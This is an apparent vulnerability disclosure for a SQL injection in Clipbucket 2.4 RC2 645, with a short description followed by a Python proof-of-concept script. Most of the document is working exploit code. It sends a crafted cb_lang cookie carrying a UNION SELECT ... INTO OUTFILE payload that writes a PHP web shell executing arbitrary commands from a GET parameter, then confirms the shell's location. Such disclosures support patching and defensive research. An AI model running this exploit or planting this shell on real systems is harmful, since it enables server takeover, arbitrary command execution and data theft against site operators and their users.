Clipbucket 2.4 RC2 645 – SQL Injection
# ------------------------------------------------------------------------ # Software................Clipbucket 2.4 RC2 645 # Vulnerability...........SQL Injection # Threat Level............Critical (4/5) # Download................http://www.clip-bucket.com/ # Discovery Date..........5/23/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # Email...................John Leitch <john@autosectools.com> # ------------------------------------------------------------------------ # # # --Description-- # # A sql injection vulnerability in Clipbucket 2.4 RC2 645 can be # exploited to extract arbitrary data. In some environments it may be # possible to create a PHP shell. # # # --PoC-- import socket host = 'localhost' path = '/clipbucket' shell_path = '/shell.php' port = 80 def upload_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('POST ' + path + '/includes/common.php HTTP/1.1\r\n' 'Host: localhost\r\n' 'Connection: keep-alive\r\n' 'User-Agent: x\r\n' 'Content-Length: 0\r\n' 'Cache-Control: max-age=0\r\n' 'Origin: null\r\n' 'Content-Type: multipart/form-data; boundary=----x\r\n' 'Cookie: cb_lang=\'and%201=0%20UNION%20SELECT%20\'%3C?php%20echo%20system($_GET[%22CMD%22])%3b%20?%3E\',\'\',\'\',\'\',\'\',\'\'%20FROM%20dual%20INTO%20OUTFILE%20\'../../htdocs/shell.php\'%3b%23; sess_salt=1testab\'testxy\r\n' 'Accept: text/html\r\n' 'Accept-Language: en-US,en;q=0.8\r\n' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n' '\r\n') resp = s.recv(8192) http_ok = 'HTTP/1.1 200 OK' if http_ok not in resp[:len(http_ok)]: print 'error uploading shell' return else: print 'shell uploaded' s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n\r\n') if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found' else: print 'shell located at http://' + host + shell_path upload_shell() |